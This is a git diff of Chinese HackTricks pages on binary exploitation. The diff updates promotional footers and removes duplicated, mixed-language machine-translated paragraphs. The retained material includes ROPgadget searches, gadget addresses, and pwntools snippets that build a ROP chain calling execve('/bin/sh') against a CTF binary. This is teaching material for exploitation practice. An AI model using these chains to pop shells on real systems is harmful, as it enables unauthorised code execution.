如果在创建所有的攻击载荷之后,你发现了这个**错误**:`sh: 1: %s%s%s%s%s%s%s%s: not found`
|
如果在创建所有的利用后发现这个**错误**:`sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
尝试**从"/bin/sh"的地址中减去64个字节**:
|
尝试**从"/bin/sh"的地址中减去64个字节**:
|
||||||
```python
|
```python
|
||||||
|
@ -289,16 +284,14 @@ BINSH = next(libc.search("/bin/sh")) - 64
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -203,9 +201,9 @@ P.interactive() #Interact with your shell :)
|
||||||
|
|
||||||
# 常见问题
|
# 常见问题
|
||||||
|
|
||||||
## 找不到 MAIN_PLT = elf.symbols['main']
|
## MAIN_PLT = elf.symbols\['main'] 未找到
|
||||||
|
|
||||||
如果找不到 "main" 符号。那么你可以找到主要代码的位置:
|
如果"main"符号不存在。那么你可以找到主代码所在的位置:
|
||||||
```python
|
```python
|
||||||
objdump -d vuln_binary | grep "\.text"
|
objdump -d vuln_binary | grep "\.text"
|
||||||
Disassembly of section .text:
|
Disassembly of section .text:
|
||||||
|
@ -215,30 +213,28 @@ Disassembly of section .text:
|
||||||
```python
|
```python
|
||||||
MAIN_PLT = 0x401080
|
MAIN_PLT = 0x401080
|
||||||
```
|
```
|
||||||
## 找不到Puts函数
|
## 找不到Puts
|
||||||
|
|
||||||
如果二进制文件没有使用Puts函数,你应该检查是否使用了以下错误信息:
|
如果二进制文件没有使用Puts,您应该检查它是否使用
|
||||||
|
|
||||||
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
如果在创建所有的攻击代码之后,你发现了这个错误信息:`sh: 1: %s%s%s%s%s%s%s%s: not found`
|
如果在创建所有利用后发现这个**错误**:`sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
尝试将"/bin/sh"的地址减去64个字节:
|
尝试**从"/bin/sh"的地址中减去64字节**:
|
||||||
```python
|
```python
|
||||||
BINSH = next(libc.search("/bin/sh")) - 64
|
BINSH = next(libc.search("/bin/sh")) - 64
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,28 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
为了准备调用 **syscall**,需要进行以下配置:
|
为了准备调用**syscall**,需要进行以下配置:
|
||||||
|
|
||||||
* `rax: 59 指定 sys_execve`
|
* `rax: 59 指定sys_execve`
|
||||||
* `rdi: 指向 "/bin/sh" 的指针,指定要执行的文件`
|
* `rdi: 指向"/bin/sh"的指针,指定要执行的文件`
|
||||||
* `rsi: 0 指定没有传递参数`
|
* `rsi: 0 指定不传递任何参数`
|
||||||
* `rdx: 0 指定没有传递环境变量`
|
* `rdx: 0 指定不传递任何环境变量`
|
||||||
|
|
||||||
因此,基本上需要在某个地方写入字符串 `/bin/sh`,然后执行 `syscall`(注意需要控制堆栈的填充)。
|
因此,基本上需要在某个地方写入字符串`/bin/sh`,然后执行`syscall`(注意需要控制堆栈的填充)。
|
||||||
|
|
||||||
## 控制寄存器
|
## 控制寄存器
|
||||||
|
|
||||||
让我们从找到**如何控制这些寄存器**开始:
|
让我们开始找出**如何控制这些寄存器**:
|
||||||
```c
|
```c
|
||||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||||
0x0000000000415664 : pop rax ; ret
|
0x0000000000415664 : pop rax ; ret
|
||||||
|
@ -31,13 +33,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||||
0x00000000004101f3 : pop rsi ; ret
|
0x00000000004101f3 : pop rsi ; ret
|
||||||
0x00000000004498b5 : pop rdx ; ret
|
0x00000000004498b5 : pop rdx ; ret
|
||||||
```
|
```
|
||||||
使用这些地址,可以将内容写入堆栈并加载到寄存器中。
|
使用这些地址,可以**将内容写入堆栈并加载到寄存器中**。
|
||||||
|
|
||||||
## 写入字符串
|
## 写入字符串
|
||||||
|
|
||||||
### 可写内存
|
### 可写内存
|
||||||
|
|
||||||
首先,您需要在内存中找到一个可写的位置
|
首先,您需要在内存中找到一个可写的位置。
|
||||||
```bash
|
```bash
|
||||||
gef> vmmap
|
gef> vmmap
|
||||||
[ Legend: Code | Heap | Stack ]
|
[ Legend: Code | Heap | Stack ]
|
||||||
|
@ -48,56 +50,12 @@ Start End Offset Perm Path
|
||||||
```
|
```
|
||||||
### 写入字符串
|
### 写入字符串
|
||||||
|
|
||||||
然后你需要找到一种方法将任意内容写入这个地址中
|
然后,您需要找到一种方法在这个地址中写入任意内容
|
||||||
```python
|
```python
|
||||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||||
```
|
```
|
||||||
#### 32位
|
#### 32 位
|
||||||
|
|
||||||
##### ROP + syscall + execv
|
|
||||||
|
|
||||||
##### ROP + syscall + execv
|
|
||||||
|
|
||||||
Esta técnica se utiliza para ejecutar un comando en un sistema Linux de 32 bits utilizando la técnica de Return-Oriented Programming (ROP), llamadas al sistema (syscalls) y la función execv.
|
|
||||||
|
|
||||||
这种技术用于在32位Linux系统上使用Return-Oriented Programming (ROP)技术、系统调用(syscalls)和execv函数来执行命令。
|
|
||||||
|
|
||||||
La técnica ROP se utiliza para construir una cadena de gadgets (pequeños fragmentos de código) que se encuentran en la memoria del programa vulnerable. Estos gadgets se utilizan para manipular el flujo de ejecución del programa y lograr la ejecución de código arbitrario.
|
|
||||||
|
|
||||||
ROP技术用于构建一个gadget链(小代码片段),这些gadget位于受漏洞程序的内存中。这些gadget用于操纵程序的执行流程,实现任意代码的执行。
|
|
||||||
|
|
||||||
En este caso, utilizaremos gadgets que nos permitan llamar a una syscall específica, en este caso la syscall execve, que nos permitirá ejecutar un comando en el sistema.
|
|
||||||
|
|
||||||
在这种情况下,我们将使用能够调用特定系统调用的gadget,例如execve系统调用,该系统调用允许我们在系统中执行命令。
|
|
||||||
|
|
||||||
La syscall execve toma tres argumentos: la dirección de la cadena que contiene el comando a ejecutar, un array de argumentos y un array de variables de entorno.
|
|
||||||
|
|
||||||
execve系统调用接受三个参数:包含要执行的命令的字符串的地址、参数数组和环境变量数组。
|
|
||||||
|
|
||||||
Para utilizar esta técnica, primero necesitamos encontrar los gadgets necesarios en el programa vulnerable. Estos gadgets deben cumplir con ciertas condiciones, como la existencia de instrucciones "pop" para desapilar valores de la pila y cargarlos en registros, y la existencia de instrucciones "ret" para retornar a la dirección siguiente en la pila.
|
|
||||||
|
|
||||||
要使用这种技术,首先需要在受漏洞程序中找到所需的gadget。这些gadget必须满足一定的条件,例如存在用于从堆栈中弹出值并将其加载到寄存器中的"pop"指令,以及存在用于返回到堆栈中的下一个地址的"ret"指令。
|
|
||||||
|
|
||||||
Una vez que hemos identificado los gadgets necesarios, construimos una cadena de ROP que los utilice en el orden correcto para lograr la ejecución de la syscall execve.
|
|
||||||
|
|
||||||
一旦我们确定了所需的gadget,我们就可以构建一个ROP链,按照正确的顺序使用它们来实现execve系统调用的执行。
|
|
||||||
|
|
||||||
La cadena de ROP se construye colocando las direcciones de memoria de los gadgets en la pila en el orden correcto, seguidas de los argumentos necesarios para la syscall execve.
|
|
||||||
|
|
||||||
ROP链的构建是将gadget的内存地址按正确的顺序放置在堆栈上,然后是execve系统调用所需的参数。
|
|
||||||
|
|
||||||
Una vez que la cadena de ROP está construida, se sobrescribe la dirección de retorno de la función vulnerable con la dirección de inicio de la cadena de ROP.
|
|
||||||
|
|
||||||
构建好ROP链后,将受漏洞函数的返回地址覆盖为ROP链的起始地址。
|
|
||||||
|
|
||||||
Cuando la función vulnerable retorna, en lugar de retornar a la dirección original de retorno, se ejecutará la cadena de ROP, que a su vez ejecutará la syscall execve y ejecutará el comando especificado.
|
|
||||||
|
|
||||||
当受漏洞函数返回时,它将不会返回到原始的返回地址,而是执行ROP链,进而执行execve系统调用并执行指定的命令。
|
|
||||||
|
|
||||||
Esta técnica es muy poderosa, ya que nos permite ejecutar comandos arbitrarios en el sistema, lo que puede ser utilizado para obtener una shell remota o realizar otras acciones maliciosas.
|
|
||||||
|
|
||||||
这种技术非常强大,因为它允许我们在系统中执行任意命令,这可以用于获取远程shell或执行其他恶意操作。
|
|
||||||
```python
|
```python
|
||||||
'''
|
'''
|
||||||
Lets write "/bin/sh" to 0x6b6000
|
Lets write "/bin/sh" to 0x6b6000
|
||||||
|
@ -119,59 +77,7 @@ rop += popRax
|
||||||
rop += p32(0x6b6000 + 4)
|
rop += p32(0x6b6000 + 4)
|
||||||
rop += writeGadget
|
rop += writeGadget
|
||||||
```
|
```
|
||||||
#### 64位
|
#### 64 位
|
||||||
|
|
||||||
##### ROP (Return Oriented Programming) - execv
|
|
||||||
|
|
||||||
##### ROP(返回导向编程)- execv
|
|
||||||
|
|
||||||
The execv function is used to execute a program. It takes two arguments: the path to the program and an array of strings that represent the program's arguments. The array must be terminated with a NULL pointer.
|
|
||||||
|
|
||||||
execv函数用于执行程序。它接受两个参数:程序的路径和一个字符串数组,表示程序的参数。该数组必须以NULL指针结尾。
|
|
||||||
|
|
||||||
To call execv using ROP, we need to find the address of the execv function in memory and the addresses of the arguments we want to pass to it. We can do this by leaking memory or by using gadgets to load the addresses into registers.
|
|
||||||
|
|
||||||
要使用ROP调用execv,我们需要找到内存中execv函数的地址以及我们要传递给它的参数的地址。我们可以通过泄漏内存或使用gadget将地址加载到寄存器中来实现这一点。
|
|
||||||
|
|
||||||
Once we have the addresses, we can construct a ROP chain that sets up the arguments and calls execv. The ROP chain will consist of gadgets that load the arguments into registers and gadgets that call the execv function.
|
|
||||||
|
|
||||||
一旦我们有了这些地址,我们就可以构建一个ROP链,设置参数并调用execv。ROP链将由将参数加载到寄存器中的gadget和调用execv函数的gadget组成。
|
|
||||||
|
|
||||||
Here is an example of a ROP chain that calls execv:
|
|
||||||
|
|
||||||
下面是一个调用execv的ROP链的示例:
|
|
||||||
|
|
||||||
```
|
|
||||||
pop_rdi = 0x0000000000400686 # pop rdi ; ret
|
|
||||||
pop_rsi_r15 = 0x0000000000400684 # pop rsi ; pop r15 ; ret
|
|
||||||
null = 0x0000000000000000
|
|
||||||
|
|
||||||
rop_chain = [
|
|
||||||
pop_rdi, path_to_program,
|
|
||||||
pop_rsi_r15, args_array, null,
|
|
||||||
execv
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
pop_rdi = 0x0000000000400686 # pop rdi ; ret
|
|
||||||
pop_rsi_r15 = 0x0000000000400684 # pop rsi ; pop r15 ; ret
|
|
||||||
null = 0x0000000000000000
|
|
||||||
|
|
||||||
rop_chain = [
|
|
||||||
pop_rdi, path_to_program,
|
|
||||||
pop_rsi_r15, args_array, null,
|
|
||||||
execv
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
In this example, `pop_rdi` and `pop_rsi_r15` are gadgets that pop values from the stack into the `rdi`, `rsi`, and `r15` registers, respectively. `null` is a NULL pointer. `path_to_program` is the address of the string that represents the path to the program, and `args_array` is the address of the array of strings that represent the program's arguments.
|
|
||||||
|
|
||||||
在这个例子中,`pop_rdi`和`pop_rsi_r15`是从堆栈中弹出值到`rdi`、`rsi`和`r15`寄存器的gadget。`null`是一个NULL指针。`path_to_program`是表示程序路径的字符串的地址,`args_array`是表示程序参数的字符串数组的地址。
|
|
||||||
|
|
||||||
By constructing a ROP chain like this, we can execute arbitrary programs with arbitrary arguments using the execv function.
|
|
||||||
|
|
||||||
通过构建这样的ROP链,我们可以使用execv函数执行任意程序,并传递任意参数。
|
|
||||||
```python
|
```python
|
||||||
'''
|
'''
|
||||||
Lets write "/bin/sh" to 0x6b6000
|
Lets write "/bin/sh" to 0x6b6000
|
||||||
|
@ -188,38 +94,6 @@ rop += p64(0x6b6000) # Writable memory
|
||||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||||
```
|
```
|
||||||
## 示例
|
## 示例
|
||||||
|
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
char *args[] = {"/bin/sh", NULL};
|
|
||||||
execv(args[0], args);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
This is a simple C program that executes a shell (/bin/sh) using the `execv` function. The `execv` function takes two arguments: the path to the executable (/bin/sh) and an array of strings representing the command-line arguments (in this case, just NULL).
|
|
||||||
|
|
||||||
When this program is compiled and executed, it will spawn a shell process, allowing the user to interact with the command line.
|
|
||||||
|
|
||||||
## 例子
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
char *args[] = {"/bin/sh", NULL};
|
|
||||||
execv(args[0], args);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
这是一个简单的C程序,使用`execv`函数执行一个shell (/bin/sh)。`execv`函数接受两个参数:可执行文件的路径 (/bin/sh) 和一个字符串数组,表示命令行参数(在这个例子中,只有NULL)。
|
|
||||||
|
|
||||||
当编译并执行这个程序时,它将生成一个shell进程,允许用户与命令行进行交互。
|
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -292,12 +166,14 @@ target.interactive()
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
